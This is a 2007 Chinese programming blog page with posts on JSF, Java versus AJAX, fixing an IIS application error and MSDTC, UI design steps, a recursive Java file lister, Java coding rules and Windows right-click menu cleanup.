<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 495,  comments - 11,  trackbacks - 0
     

    ??????? 謙虛有很多種,真正的謙虛,不是誰都有資格享有它的.

    ??????? 胸無大志的人,即使極誠懇地說:“我這人沒什么志向。”這不叫謙虛,只能叫坦率,這種坦率有時讓人覺著是在嘆息;毫無才學的人,即使極認真地說:“我這人沒什么本事。”這不叫謙虛,只能叫實在,這種實在有時讓人覺著是在自責;主席臺上,正式發言之前來一句:“我水平有限。”這不叫謙虛,只能叫客套,這種客套給人感覺是一種身份的炫耀;辯論場上,笑應對手一句:“我的意見可能不太成熟。”這不叫謙虛,只能叫挑戰,這種挑戰是一種以退為進的宣示:機遇面前猶豫不決、左右為難地囁嚅:“我不知道該怎么辦。”這不叫謙虛,只能叫哀鳴,這種哀鳴除了顯示無能力以外,便是在患得患失間不知所措;困境之中難做決斷,跌倒后爬起亂了方寸:“看來我是真的頂不住了。”這不叫謙虛,只能叫無奈,這種無奈表明了窮途末路的到來。

      謙虛需要一種底氣來支撐。

      聰慧是智者的底氣。智者的聰慧在于能從聰慧中看到局限和缺欠,他的和氣中透出低調,和顏中多有雅量。

      善良是仁者的底氣。仁者的善良是能容下無端的傷害和淺陋的狂妄,他的謙卑融于忍耐之中,他的虛懷嵌入慈悲之間。

      博大是強者的底氣。強者的博大是能讓對手心悅誠服地擁戴和情不自禁地敬仰。

      謙虛的人,因為看得透,所以不躁;因為想得遠,所以不妄;因為站得高,所以不傲;因為行得正,所以不懼。

      這樣的人,才稱得上是謙虛的人。

    ??????? 以上內容出自《涉世之初》

    posted @ 2007-05-20 18:34 jadmin 閱讀(94) | 評論 (0)編輯 收藏
    JSF

    什么是 JSF?

    JavaServer Faces (JSF) 是一種用于構建 Web 應用程序的新標準 Java 框架。它提供了一種以組件為中心來開發 Java Web 用戶界面的方法,從而簡化了開發。JavaServer Faces 還引起了廣大 Java/Web 開發人員的興趣。“企業開發人員”和 Web 設計人員將發現 JSF 開發可以簡單到只需將用戶界面 (UI) 組件拖放到頁面上,而“系統開發人員”將發現豐富而強健的 JSF API 為他們提供了無與倫比的功能和編程靈活性。JSF 還通過將良好構建的模型-視圖-控制器 (MVC) 設計模式集成到它的體系結構中,確保了應用程序具有更高的可維護性。最后,由于 JSF 是通過 Java Community Process (JCP) 開發的一種 Java 標準,因此開發工具供應商完全能夠為 JavaServer Faces 提供易于使用的、高效的可視化開發環境。

    JSF 體系結構

    JavaServer Faces 的 MVC 實現

    JSF 的主要優勢之一就是它既是 Java Web 用戶界面標準又是嚴格遵循模型-視圖-控制器 (MVC) 設計模式的框架。用戶界面代碼(視圖)與應用程序數據和邏輯(模型)的清晰分離使 JSF 應用程序更易于管理。為了準備提供頁面對應用程序數據訪問的 JSF 上下文和防止對頁面未授權或不正確的訪問,所有與應用程序的用戶交互均由一個前端“Faces”servlet(控制器)來處理。

    圖 1:JavaServer Faces 的 MVC 實現

    JSF 生命周期

    Faces Controller servlet 充當用戶和 JSF 應用程序之間的紐帶。它在明確限定的 JSF 生命周期(規定了用戶請求之間的整個事件流)的范圍內工作。例如,一收到訪問 JSF 應用程序的初始 Web 請求,Faces Controller servlet 便通過首先準備 JSF 上下文(存放所有應用程序數據的一個 Java 對象)來處理請求。然后控制器把用戶指引到所請求的頁面。該頁面通常使用簡單的表達式語言來處理來自 JSF 上下文的應用程序數據。一收到后續請求,控制器就更新所有模型數據(假設輸入了新數據)。JSF 開發人員可以通過編程的方式在應用程序運行期間隨時訪問整個 JSF 生命周期,從而可以隨時對應用程序的行為進行高度控制。

    JavaServer Faces 的用戶界面組件

    JavaServer Faces 的真正威力在于它的用戶界面組件模型。在該模型中,應用程序完全用組件集合構建,這些組件可以針對多種客戶端類型用不同的方式來進行顯示。與其他專有技術(如 ASP.Net)有點類似,JSF 的 UI 組件模型技術使開發人員能夠使用預先構建的用戶界面 (UI) 組件來構建 Web 用戶界面(而非完全從頭構建用戶界面),從而提供了前所未有的開發效率。JSF UI 組件有多種形式,可以簡單到只是顯示文本的 outputLabel,或者復雜到可以表示來自數據集合(如數據庫表)的表格化數據的 dataTable

    JavaServer Faces 規范在其參考實施中提供了一組基本 UI 組件,這些組件本身是非常有用的。它們包括兩個組件庫,即“HTML”組件庫 — 它大部分映射了標準的 HTML 輸入元素;以及“核心”庫 — 它輔助常見的應用程序開發任務(如,國際化和驗證/轉換輸入數據)。除了提供一個基本 UI 組件庫之外,JSF API 還提供了擴展和創建定制 JSF UI 組件的功能,從而在基本組件之上提供更多功能。

    其他用戶界面組件庫

    由于 JSF API 的豐富性和靈活性,許多 Java 開發人員開始創建新的 JSF 組件庫和實現。Oracle 的 ADF Faces 是一個完全符合 JSF 規范的組件庫,它為 JSF 應用程序開發提供了一組廣泛的增強 UI 組件。這些組件包括針對每種客戶端類型的多種呈現器、高級表格、顏色和日期選擇器以及大量通用組件(如菜單、命令按鈕、轉移選擇器和進度指示計)。

    圖 2:Oracle 的 ADF Faces JSF UI 組件

    除了 Oracle 的 ADF Faces 之外,還有其他新的 JSF 組件庫開始從開放源代碼社區和軟件供應商社區中出現。MyFaces 就是一個新 JSF UI 組件庫的例子,它通過 Apache 作為一個開放源代碼項目提供的。Myfaces 還是對 JSF 基本 UI 組件的增強,它擁有更廣泛的 UI 功能,如集成的 Tiles 支持、支持 Javascript 的菜單和樹控件。

    圖 3:開放源代碼的 MyFaces 實現和 UI 組件庫

    JSF UI 組件的可插入呈現技術

    JSF UI 組件技術最引人注目一個方面就是它的可插入呈現功能。JSF UI 組件能夠根據查看組件的客戶端的類型來以不同方式呈現自身。例如,HTML 瀏覽器將看到特定 UI 組件的“HTML 瀏覽器友好”版本,而支持無線或 WAP 的微型設備將看到同一 UI 組件的“WML 友好”版本!JSF 通過解除 UI 組件與其呈現邏輯之間的耦合從而能夠為同一 UI 組件創建多個呈現器實現了這一功能。不同的呈現器可以與 UI 組件相關聯,在運行時 UI 組件可以根據請求的客戶端類型決定使用哪個呈現器。

    圖 5:一個 ADF Faces 表格組件針對無線客戶端和 HTML 客戶端進行了不同的呈現

    還應當指出的是,由于 JSF 的可插入呈現功能,使得 JSF UI 組件能夠顯示任何類型的數據,無論它是標記數據(如 HTML、XML、WML 等)還是二進制數據。例如,UI 組件還可以顯示二進制數據,如圖像流或不同的文檔類型,如 SVG、PDF 和 Word。

    一個新的 JSF 組件開發人員社區

    隨著 JSF 開發人員和擁護者社區的不斷壯大,現在有幾個網站致力于進一步推動獨立的 JSF 開發。JSFCentral 就是一個完全為 JSF 開發社區服務的新網站。它包含 JSF 技術信息、產品/組件信息以及大量與 JSF 相關的文章。

    圖 4:JSFCentral — 一個免費的 Javaserver Faces 社區

    (JSFCentral 的地址是:http://jsfcentral.com

    JSF 開發工具

    因為 JavaServer Faces 是一種標準的 Java 技術,因此軟件開發工具完全能夠為 JavaServer Faces 提供高級的集成開發工具支持。多個供應商現在不同程度地支持 JSF 開發,這大大提高了 JSF 的易用性和功能。Oracle、Sun、Borland 和 IBM 都為 JavaServer Faces 提供了開發環境。由于開發工具供應商在競相提供更好、更簡單和更多的開發環境,因此基于 IDE 的 JSF 開發擁有美好的前景!

    圖 6:Oracle 的 JDeveloper 提供高效、可視化的 JSF 開發體驗

    總結

    JavaServer Faces 通過提供模型-視圖-控制器設計模式的一個簡潔實現,同時在不犧牲開發能力和靈活性的前提下提供高效的以組件為中心的開發,解決了 Java Web 開發的許多歷史問題。此外,因為 JSF 是一種 Java 標準,因此多個軟件供應商將繼續提供始終高效的開發環境,這些開發環境毫無疑問將達到或很可能超過專有的可視化開發環境。請繼續關注!

    posted @ 2007-05-20 13:20 jadmin 閱讀(156) | 評論 (0)編輯 收藏

    ???????? Java最引以為傲的特性就是跨平臺。基于Java的桌面軟件以其一處編譯、到處運行的優勢橫掃企業桌面軟件市場。目前有很多跨平臺的軟件都是基于Java的,如JBuilder、Oracle的管理前端,Eclipse等。這些軟件都在各自的領域起著舉足輕重的作用。然而好景不長。Web這個老牌技術換上了AJAX這件金履玉衣后又殺了回來。而搜索引擎的老大Google將AJAX這種技術用得淋漓盡致,如Google Map、Google Office等。從種種跡象可以看出,AJAX技術正是Java桌面技術的最大敵人,那么誰能取得最后的勝利呢?

    一、Java問世,桌面軟件市場成為它的第一塊肥肉
    在1995年Java問世之初。第一個使Java聲名顯赫的并不是現在Java程序員所熟悉的JSP、Servlet、EJB的J2EE組件,而是現在已經基本上被淘汰的Applet。記得當初我剛接觸Java時,正是Applet火的時候,有非常多的網站都是基于Applet技術的動態網站。

    Applet本身也是Java程序,只是Java對Applet的部分功能進行了限制,這樣用戶可以在IE前端享受Java的強大功能的同時,還擁有了Web程序免安裝的特性。

    但Applet也有它的缺點。如裝載緩慢、設計復雜的效果比HTML+JavaScript繁瑣等。在后來Applet之所以每況愈下,還有個重要的原因就是微軟和Sun的談判破裂,直接導致了IE只支持到jdk1.1版本,因此,后續的jdk要想在IE中安裝,必須要安裝Sun所提供的jdk包。這種情況大大阻撓了Applet最終統一跨平臺桌面軟件市場的進程。而Sun在Applet的更新上也做的不盡人意。因此,Applet這項技術只吃了幾年桌面軟件市場的肥肉就將這些肥肉吐了出來。以至Java在跨平臺桌面軟件市場的第一回合的爭斗中徹底失敗了。而Sun當然不會就此善罷甘休。Sun將利用它的下一項跨平臺桌面技術來和其他的競爭對手一決雌雄。
    二、AJAX空降桌面軟件市場,會和Java桌面技術競爭還是融合?
    在基于web的應用大行其道的世界,桌面程序是否還有其地位? 在Sun舉辦的“桌面存在價值”研討會上,與會者對桌面應用的地位給出了肯定的回答。“Java 桌面應用開發者會議”近日在加州圣何塞召開。會議主要議題涉及Java的各種技術,如提供組件技術的Swing、Web框架Spring、NetBeans開源平臺等。
    會議的基調是在桌面技術和AJAX之間進行比較,AJAX是開發web應用的時髦技術。人們認為桌面應用和Web應用變得越來越相似:Web應用桌面化,而桌面應用則向web領域擴展。Swing和AJAX技術在表現效果和組件支持等諸多方面越來越接近。桌面應用出現了主機版本如Microsoft Office系統,而基于AJAX的應用則克隆桌面應用的AJAX版本如Zoho Office。Ajaxian.com以及“桌面存在價值”研討會的創始人Ben Galbraith 和 Dion Almaer參加了會議。在會上人們提出大量實例證明桌面應用在很多領域優于web應用:如對于本地存儲資源的訪問、圖形處理性能、內存損耗、敏感數據本地化能力等。有人指出:有些用戶習慣于使用桌面應用,對于安裝瀏覽器來升級應用感到茫然。桌面Java程序比AJAX版本速度快。然而AJAX可通過如Dojo Offline Toolkit等工具提供更好的離線支持。Galbraith在會上宣布啟動Nimbus,旨在為Swing應用提供更具吸引力的用戶界面。Nimbus是由Sun公司開發部署在Java.net上的開源項目。Nimbus的圖形界面酷似Mac OS X和Windows Vista Aero。Galbraith介紹說,Nimbus的圖形界面感觀大大優于Swing,提供了可變尺寸工具箱等特性,以利于屏幕空間的合理利用以及用戶界面嵌套面板分割。Nimbus 1.0 beta版計劃在5月8日舊金山JavaOne會議期間推出。Nimbus經過技術細節調整后有可能隨同Java 7發布(Java 5平臺)。
    ????自從AJAX來到Web開發領域后,雖然有些技術是學的Java的東西,但它將來有可能會再次威脅到Java用來進攻桌面市場的新技術。雖然目前AJAX在開發上還不是很方便,但已經有象Google等公司開發出了類Java的AJAX開發工具,如GWT。還有就是Borland公司最近也宣布Delphi2007將全面支持AJAX開發。從種種跡象看,在未來使用AJAX技術將會變得更容易。AJAX在未來也許會成為Java桌面技術的強大競爭對手。至于AJAX和Java桌面技術最終是競爭,還是互相融合,仍需要時間來證明。
    posted @ 2007-05-20 12:52 jadmin 閱讀(82) | 評論 (0)編輯 收藏

    錯誤提示:Server Application Error The server has encountered an error

    while loading an application during the processing of your request. Please refer to the event log for

    more detail information. Please contact the server administrator for assistance.

    解決方法如下:

    1。右鍵我的電腦--管理--本地用戶和組,給IUSR_機器名和IWAM_機器名兩個用戶設置密碼,要一樣。

    2。開始--運行--輸入cmd,
    然后cd c:\Inetpub\AdminScripts
    然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你的密碼,
    然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你的密碼

    看一下,行了沒有?如果還不行,那么
    cscript.exe synciwam.vbs -v,
    然后iisreset

    Server Application Error續,8004EOOF錯誤

    發現運行C:\Inetpub\AdminScripts\synciwam.vbs時報8004EOOF錯誤,暈死,網上搜索了下,發現是

    MSDTC的問題: msdtc服務沒有正常啟動。 找到原因就好辦啦^_^

    Step1 刪除注冊表中的鍵:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC

    HKEY_CLASSES_ROOT\CID

    Step2 :

    停止MSDTC服務:net stop msdtc

    Step3 卸載MSDTC服務:

    msdtc -uninstall

    Step4 重新安裝MSDTC服務:

    msdtc -install

    然后再按照原來的解決Server Application Error的方法就可以了~o yeah

    posted @ 2007-05-19 21:24 jadmin 閱讀(42) | 評論 (0)編輯 收藏
    UI

    ???????? UI的本意是User Interface也就是用戶與界面的關系。他包括交互設計,用戶研究,與界面設計三個部分。

    一個通用消費類軟件界面的設計大體可分為五個步驟:
    1.需求階段
    2.分析設計階段
    3.調研驗證階段
    4.方案改進階段
    5.用戶驗證反饋階段

    需求階段   
    ???????? 軟件產品依然屬于工業產品的范疇。依然離不開3W的考慮(Who,where,why.)也就是使用者,使用環境,使用方式的需求分析。所以在設計一個軟件產品之前我們應該明確什么人用(用戶的年齡,性別,愛好,收入,教育程度等)。什么地方用(在辦公室/家庭/廠房車間/公共場所)。如何用(鼠標鍵盤/遙控器/觸摸屏)。上面的任何一個元素改變結果都會有相應的改變。

    ??????? 除此之外在需求階段同類競爭產品也是我們必須了解的。同類產品比我們提前問世,我們要比他作的更好才有存在的價值。那么單純的從界面美學考慮說哪個好哪個不好是沒有一個很客觀的評價標準的。我們只能說哪個更合適,更合適于我們的最終用戶的就是最好的。如何判定最合適于用戶呢,后面我會介紹用戶調研。

    分析設計階段   
    ????????? 通過分析上面的需求,我們進入設計階段。也就是方案形成階段。我們設計出幾套不同風格的界面用于被選。首先我們應該制作一個體現用戶定位的詞語坐標。例如我們為25歲左右的白領男性制作家居娛樂軟件。對于這類用戶我們分析得到的詞匯有:品質,精美,高檔,高雅,男性,時尚,cool,,個性,親和,放松等。分析這些詞匯的時候我們會發現有些詞是絕對必須體現的,例如:品質,精美,高檔,時尚。但有些詞是相互矛盾的,必須放棄一些,例如:親和,放松與cool,個性與等。所以我們畫出一個坐標,上面是我們必須用的品質,精美,高檔,時尚。左邊是貼近用戶心理的詞匯:親和,放松,人性化。右邊是體現用戶外在形象的詞匯:cool,個性,工業化。然后我們開始搜集相呼應的圖片,放在坐標的不同點上。這樣根據不同作標點的風格,我們設計出數套不同風格的面。

    調研驗證階段
    ???????? 幾套風格必須保證在同等的設計制作水平上,不能明顯看出差異,這樣才能得到用戶客觀的反饋。

    ??????? 測試階段開始前我們應該對測試的具體細節進行清楚的分析描述。

    例如:
    數據收集方式:廳堂測試/模擬家居/辦公室。
    測試時間:X年X月X日X日。
    測試區域:北京、廣州、天津。
    測試對象。某消費軟件界定市場用戶。

    主要特征為:
    ·對電腦的硬件配置以及相關的性能指標比較了解,電腦應用水平較高;
    ·電腦使用經歷一年以上;
    ·家庭購買電腦時品牌和機型的主要決策者
    ·年齡:X-X歲;
    ·年齡在X歲以上的被訪者文化程度為大專及以上;
    ·個人月收入X以上或家庭月收入X元及以上;
    ·樣品
    ·五套軟件界面
    ·樣本量:X個,實際完成X個。

    調研階段需要從以下幾個問題出發:
    · 用戶對各套方案的第一印象
    · 用戶對各套方案的綜合印象
    · 用戶對各套方案的單獨評價
    · 選出最喜歡的
    · 選出其次喜歡的
    · 對各方案的色彩,文字,圖形等分別打分。
    · 結論出來以后請所有用戶說出最受歡迎方案的優缺點。

    所有這些都需要用圖形表達出來,直觀科學。

    方案改進階段   
    經過用戶調研,我們得到目標用戶最喜歡的方案。而且了解到用戶為什么喜歡,還有什么遺憾等,這樣我們就可以進行下一步修改了。這時候我們可以把精力投入到一個方案上(這里指不能換皮膚的應用軟件或游戲的界面)將方案做到細致精美。

    用戶驗證階段   
    改正以后的方案,我們可以將他推向市場。但是設計并沒有結束。我們還需要用戶反饋,好的設計師應該在產品上市以后去站柜臺。零距離接觸最終用戶,看看用戶真正使用時的感想。為以后的升級版本積累經驗資料。

    posted @ 2007-05-19 20:14 jadmin 閱讀(71) | 評論 (0)編輯 收藏

    //用遞歸算法列出某個目錄下的所有子目錄和文件

    import java.io.*;

    class DiGuiGetDir
    {
    static void getDir(String strPath) throws Exception
    {
    ?? try
    ?? {
    ??? File f=new File(strPath);
    ??? if(f.isDirectory())
    ??? {
    ???? File[] fList=f.listFiles();
    ???? for(int j=0;j<fList.length;j++)
    ???? {
    ????? if(fList[j].isDirectory())
    ????? {
    ?????? System.out.println(fList[j].getPath());
    ?????? getDir(fList[j].getPath()); //在getDir函數里面又調用了getDir函數本身
    ????? }
    ???? }
    ???? for(int j=0;j<fList.length;j++)
    ???? {
    ????? if(fList[j].isFile())
    ????? {
    ?????? System.out.println(fList[j].getPath());
    ????? }

    ???? }
    ??? }
    ?? }
    ?? catch(Exception e)
    ?? {
    ??? System.out.println("Error: " + e);
    ?? }
    }

    public static void main(String[] args)
    {
    ?? String strPath="d:\\Download";
    ?? System.out.println(strPath);

    ?? try
    ?? {
    ??? getDir(strPath);
    ?? }
    ?? catch(Exception e)
    ?? {

    ?? }
    }
    }

    posted @ 2007-05-19 10:45 jadmin 閱讀(115) | 評論 (0)編輯 收藏

    ??????? 音樂播放器,TTPlayer一直都是我的首選,感覺很好.Vista推出后,網絡上掀起一股Vista熱潮,各種軟件紛紛推出Vists版的,先是QQ,接著是Windows 優化大師,現在千千也推出Vista皮膚版的了.這款確實做得不錯啊,我喜歡~~~

    posted @ 2007-05-19 01:17 jadmin 閱讀(66) | 評論 (0)編輯 收藏
    對Java開發者來說,有許多的標準和最佳實踐。本文列舉了每一個開發人員必須遵從的十大基本法則;如果有了可以遵從的規則而不遵從,那么將導致的是十分悲慘的結局。

    1. 在你的代碼里加入注釋

    每個人都知道這點,但不知何故忘記了遵守。算一算有多少次你“忘記”了添加注釋?這是事實:注釋對程序在功能上沒有實質的貢獻。但是,你需要一次又一次的回到你兩個禮拜之前寫的代碼上來,可能一輩子都是這樣,你一定記不住這些代碼為什么會這樣。如果這些代碼是你的,你還比較的幸運。因為它有可能讓你回憶起。但是不幸的是,很多時間,這些代碼是別人的,而且很有可能他已經離開了公司。

    2. 不要讓事情復雜化

    我以前就這么干過,而且我相信所有的人都這么干過。開發人員常常為一個簡單的問題而提出一個解決方案。我們為僅僅只有5個用戶的應用而引入EJBs。我們為一個應用使用框架而它根本不需要。我們加入屬性文件,面向對象的解決方案,和線程到應用中,但是它根本不需要這些。為什么我們這樣做?我們中的一些人是因為不知道怎么做更好,但是還有一些人這樣做的目的是為了學習新的知識,從而使得這個應用對于我們自己來說做得比較有趣。

    3. 牢牢記住——“少即是多(less is more)”并不永遠是好的

    代碼的效率是一偉大的事情,但是在很多情況下,寫更少的代碼行并不能提高該代碼的效率。請讓我向你展示一個簡單的例子。

    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0)) ||
    (newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0)))...{
    newStatusCode = "NYP";
    }


    我想問一句:說出上面的那段代碼的if條件想干什么容易嗎?現在,我們再來假設無論是誰寫出這段代碼,而沒有遵從第一條規則——在你的代碼里加入注釋。

    如果我們把這個條件分到兩個獨立的if陳述句中,難道不是更簡單一些嗎?現在,考慮下面的修正代碼:

    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0)))...{
    newStatusCode = "NYP";
    }else
    if(newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0))
    ...{
    newStatusCode = "NYP";
    }

    難道它不是有了更好的可讀性?是的,我們重復了陳述條件。是的,我們多出了一個多余的“IF”和兩對多余的括弧。但是代碼有了更好的可讀性和可理解性。

    4. 請不要有硬代碼

    開發人員常常有意識的忘記或者忽視這條規則,原因是我們,和一般時候一樣,在趕時間。如果我們遵從這條規則,我們可能會趕不上進度。我們可能不能結束我們的當前狀態。但是寫一條額外的定義靜態常量的代碼行又能花費我們多少時間呢?

    這里有一個例子。

    public class A ...{

    public static final String S_CONSTANT_ABC = "ABC";

    public boolean methodA(String sParam1)...{

    if(A.S_CONSTANT_ABC.equalsIgnoreCase(sParam1))...{

    return true;
    }
    return false;

    }

    }
    現在,每一次我們需要和某一些變量比較字符串“ABC”的時候,我們只需要引用S_CONSTANT_ABC,而不是記住實際的代碼是什么。它還有一個好處是:更加容易在一個地方修改常量,而不是在所有的代碼中尋找這個代碼 不要發明你自己的Frameworks 已經推出了幾千種frameworks,而且它們中的大多數是開源的。這些frameworks中間有很多是極好的解決方案,被應用到成千上萬的應用中。你們需要跟上這些新frameworks的步伐,最起碼是膚淺的。在這些極好的、應用廣泛的frameworks中間,一個最好的、最直接的例子是Struts。在你所能想象到的frameworks中,這個開源的web frameworks對于基于web的應用是一個完美的候選者。但是你必須記住第二條規則——不要讓事情復雜化。如果你開發的應用只有三個頁面—請,不要使用Struts,對于這樣一個應用,沒有什么“控制”請求的。

    6. 不要打印行和字符串相加

    我知道,為了調試的目的,開發人員喜歡在每一個我們認為適合的地方添加System.out.println,而且我們會對我們自己說,會在以后刪掉這些代碼的。但是我們常常忘掉刪去這些代碼行,或者我們根本就不想刪掉它們。我們使用System.out.println來測試,當我們測試完成以后,為什么我們還能接觸到它們呢?我們可能刪掉一行我們實際需要的代碼,僅僅是因為你低估了System.out.println所帶來的傷害,考慮下面的代碼:

    public class BadCode ...{
    public static void calculationWithPrint()...{
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    System.out.println(someValue = someValue + i);
    }
    }
    public static void calculationWithOutPrint()...{

    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    someValue = someValue + i;
    }

    }
    public static void main(String [] n) ...{
    BadCode.calculationWithPrint();
    BadCode.calculationWithOutPrint();
    }
    }


    1
    根據測試,calculationWithOutPrint()方法的運行花了0.001204秒。相比較而言,運行calculationWithPrint()方法花了令人驚訝的10.52秒。

    (如果你不知道怎么得到一個像這樣的表格,請參閱我的文章“Java Profiling with WSAD” Java Profiling with WSAD)

    避免這樣一個CPU浪費的最好方法是引入一個包裝器方法,就象下面這樣:



    public class BadCode ...{

    public static final int DEBUG_MODE = 1;
    public static final int PRODUCTION_MODE = 2;

    public static void calculationWithPrint(int logMode)...{
    double someValue = 0D;
    for (int i = 0; i < 10000; i++) ...{
    someValue = someValue + i;
    myPrintMethod(logMode, someValue);
    }
    }
    public static void myPrintMethod(int logMode, double value) ...{

    if (logMode > BadCode.DEBUG_MODE) ...{ return; }

    System.out.println(value);
    }
    public static void main(String [] n) ...{
    BadCode.calculationWithPrint(BadCode.PRODUCTION_MODE);
    }
    }




    根據測試,使用了StringBuffer的那個方法只花了0.01秒來執行,而那個使用了字符串相加的方法卻花了0.08秒來運行。選擇是顯而易見的。


    7. 關注GUI

    不管這聽起來有多么可笑,我都要再三地說明:GUI對于商業客戶來說和功能和性能一樣重要。GUI是一個成功的系統的必要的一部分。(但是),IT雜志常常傾向于忽視GUI的重要性。很多機構為了省錢而不雇用那些在設計“用戶友好”GUI方面有豐富經驗的設計人員。Java開發人員不得不依賴他們自己的HTML知識,但是他們在這方面的知識十分有限。我看到過很多這樣的應用:它們是“計算機友好”,而不是“用戶友好”我很少很少能看到有開發人員既精通軟件開發,又精通GUI開發。如果你是那個不幸的開發人員,被分配去開發用戶接口,你應該遵從以下的三條原則:

    一、不要重復發明輪子。尋找有相似用戶接口需求的已經存在的系統。

    二、首先創建一個原型。這是非常重要的步驟。客戶喜歡看看他們將要得到什么。這對你來說也是很好的,因為在你全力以赴而做出一個將要使用戶生氣的用戶接口之前,你就得到了它們的反饋。

    三、戴用戶的帽子。換一句話說,站在用戶的視角檢查應用的需求。例如,一個總結頁面到底要不要分頁。作為一個軟件開發者,你傾向于在一個系統中忽視分頁,因為這樣使得你有比較少的開發復雜性。但是,這對于從一個用戶的視角來說卻不是最好的解決方案,因為小結的數據將會有成百上千個數據行。


    8. 永遠準備文檔化的需求

    每一個業務需求都必須文檔化。這可能在一些童話故事里才能成真,但是在現實世界卻不可能。不管時間對于你的開發來說是多么緊迫,也不管交付日期馬上就要到來,你永遠都必須清楚,每一個業務需求是文檔化的。

    9. 單元測試、單元測試、單元測試

    我將不會深入地討論哪些什么是把你的代碼進行單元測試的最佳方法的細節問題。我將要說的是單元測試必須要做。這是編程的最基本的法則。這是上面所有法則中最不能被忽略的一個。如果你的同事能為你的代碼創建和測試單元測試,這是最好不過的事。但是如果沒有人為你做這些事,那么你就必須自己做。在創建你的單元測試計劃的時候,遵從下面的這些規則:

    一、在寫代碼之前就寫單元測試用例。

    二、在單元測試里寫注釋。

    三、測試一切執行“interesting”功能的公有方法(“interesting”的意思是非setters或getters方法,除非它們通過一種特殊的方式執行set和get方法)。

    10. 記住—質量,而不是數量。

    不要在辦公室里呆得太晚(當你不必呆的太晚的時候)。我理解有時,產品的問題、緊迫的最終期限、意想不到的事件都會阻止我們按時下班。但是,在正常情況下,經理是不會賞識和獎賞那些下班太晚的員工的,他賞識他們是因為他們所做產品的質量。如果你遵從了我上面給出的那些規則,你將會發現你的代碼更加少的bug,更加多的可維護性。而這才是你的工作的最重要的部分。

    總結

    在這篇文章里,我給出了針對Java開發人員的十個重要的規則。重要的不僅僅是知道這些規則,在編碼的過程中遵從這些規則更為重要。希望這些規則能夠幫助我們成為更好的編程人員和專業人員。
    posted @ 2007-05-19 00:55 jadmin 閱讀(55) | 評論 (0)編輯 收藏

    ???? 提起電腦的清理工作,大家都很熟悉吧!不過,很多朋友在對清理的認識上還有一定的局限性,更多的是集中在刪除一些windows自身生成的垃圾文件等方面;實際上還有一些另類的垃圾,比如:軟件在右鍵菜單中的項目;IE右鍵菜單、工具欄圖標、收藏夾中的無用項目;失效的快捷方式等。它們的存在,不僅浪費了我們寶貴的硬盤空間,還會給病毒留下可乘之機。所以及時地給電腦來個大清理是很有必要的。

    一、 資源管理器的右鍵菜單

      1、刪除右鍵菜單中的多余項

      大家都知道,許多軟件在安裝時,首先要把自身的安裝文件解壓縮到一個臨時目錄(一般為 Windows文件夾下的Temp目錄),如WinZip等工具,然后再進行安裝。如果軟件設計有疏忽或者系統有問題,當安裝結束后,這些臨時文件就會變得并不“臨時”,成為硬盤里的一堆垃圾,往往它們是以*.tmp的面孔出現的;在軟件的運行過程中通常會產生一些臨時交換文件,比如一些程序工作時產生的形如*.old、*.bak這樣的備份文件,殺毒軟件或系統軟件檢查硬盤時生成的備份文件等;而軟件被卸載后,也會在硬盤中留下一些文件夾、*.dll文件、*.hlp文件和注冊表鍵值以及形形色色不知名的小東西,成為貨真價實的垃圾。事實上我們正常卸載某個應用程序后,右鍵菜單中也會遺留下一些不再需要的項目,同樣需要將其刪除。這些遺留項目一般都存放在“HKEY_CLASSES_ROOT\*shellexContextMenuHandlers”;如果是只對文件夾有效的項目,則存放在“HKEY_CLASSES_ROOTDirectoryshell”和“HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers”,有時在“HKEY_CLASSES_ROOTFoldershell”和“HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers”也有,找到后將他們刪除即可。

      另外,利用注冊表的查找功能也可以去掉卸載后的遺留文件,在注冊表中查找與軟件有關的鍵值,找到并刪除,可能有多個,這時你可以用F3快捷鍵繼續查找,直到所有的項目全被刪除。

      (提示:在進行任何注冊表刪除操作前,都要在注冊表編輯器中對要刪除的項進行導出操作。)

      2、利用ShellExView清理

      在注冊表中手工刪除不需要的右鍵菜單項,很方便,但一定要對刪除的項進行導出操作,防止出錯!許多朋友會認為有些麻煩,在這里向大家推薦使用ShellExView免費軟件來完成以上的任務,它是一款能夠顯示并控制所有安裝到系統的Windows外殼擴展,比如:右鍵菜單、用鼠標右鍵托放文件或文件夾松開按鍵后彈出菜單等的小工具。

      下載后可以將壓縮包解壓縮至任意文件夾,比如“C: ShellExView”,運行其中的“Shexview.exe”即可啟動程序。如果你想把以前安裝的Real Player軟件在右鍵菜單中的項目去掉,可在“Filename”列下找到并選中“C:Program FilesRealRealOne Playerrpshellsearch.dll”項(通過文件名來查找,也可通過“Description”(描述)、“Extension Name”(擴展名稱)等條件來查找),右擊后選擇“Disable Selected Items”(禁用所選項目),這樣Real Player軟件在右鍵菜單中的項目就都消失了,如果再次選擇“Enable Selected Items”(啟用所選項目)可以進行恢復。

      另外,利用ShellExView,還可以在“我的電腦”和桌面上添加或刪除特定文件夾(打印機、回收站、計劃任務、網絡連接等),比如在列表中選中“管理工具”,然后點擊“Files→Add Selected Items To...”(添加所選項目到),在下級子菜單中選擇“My Computer”。這樣就可以把“管理工具”添加到“我的電腦”中了。

      軟件名稱:ShellExView、軟件版本:1.01、軟件大小:22KB、適用平臺:Windows98/Me/2000/XP、下載地址:http://files.webattack.com/localdl834/shexview.zip

      3、刪除“新建”子菜單中的選項

